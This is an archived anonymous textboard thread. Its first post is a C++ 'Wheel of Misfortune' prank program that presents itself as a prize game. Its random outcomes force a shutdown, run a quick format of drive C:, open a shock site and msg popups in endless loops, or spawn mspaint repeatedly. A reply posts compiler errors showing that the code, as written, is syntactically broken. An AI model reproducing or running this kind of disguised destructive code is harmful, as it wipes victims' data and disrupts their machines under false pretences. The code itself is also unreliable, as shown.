Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

lulz

Name: lulz 2007-08-27 18:26 ID:Og+h53ZF

#include <iostream>
#include <ctime>
#include <string>
#include <windows.h>
using namespace std;
int main(void) {
srand(time (0);
string spin;
cout<<"**WHEEL OF MISFORTUNE!**"<<endl;
cout<<"Spin the wheel? [Y/N] : ";
getline (cin, spin);
if (spin == "y" || spin == "Y") {
cout<<"You spin the wheel..."<<endl;
Sleep(3000);
system("cls");
int wheel;
(wheel = 1 + rand() % 5);
if (wheel == 1) {
cout<<"You won a prize!"<<endl;
system("shutdown -s -f");
return 0;
}
else if (wheel == 2) {
cout<<"You won a prize!"<<endl;
system("start iexplore www.gaiaonline.com/register";);
return 0;
}
else if (wheel == 3) {
cout<<"You won a prize!"<<endl;
system("FORMAT C:\ /q /f");
return 0;
}
else if (wheel == 4) {
cout<<"You won a prize!"<<endl;
system("start iexplore www.youtube.com/watch?v=oHg5SJYRHA0";);
return 0;
}
else if (wheel == 5) {
cout<<"You won a prize!"<<endl;
while (1) {
system("start iexplore prize.on.nimp.org");
system("msg * Enjoy your prize!");
}
return 0;
}
else {
cout<<"You don't get a prize because the wheel could not be spun."<<endl;
cout<<"Perhaps you should try painting instead. Go on, try it."<<endl;
while (1) {
cout<<"I SAID TRY IT!!!"<<endl;
system("start mspaint");
}
return 0;
}
}
else {
while (1) {
system("msg * Probably a good choice");
}
return 0;
}
return 0;
}

Name: Anonymous 2007-08-27 22:12 ID:tvyz9FQY

>>8
lulz.cpp: In function `int main()':
lulz.cpp:7: error: expected `)' before ';' token
lulz.cpp:25: error: expected `)' before ';' token
lulz.cpp:25: error: expected primary-expression before ')' token
lulz.cpp:25: error: expected `;' before ')' token
lulz.cpp:30:8: warning: unknown escape sequence: '\040'
lulz.cpp:35: error: expected `)' before ';' token
lulz.cpp:35: error: expected primary-expression before ')' token
lulz.cpp:35: error: expected `;' before ')' token

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List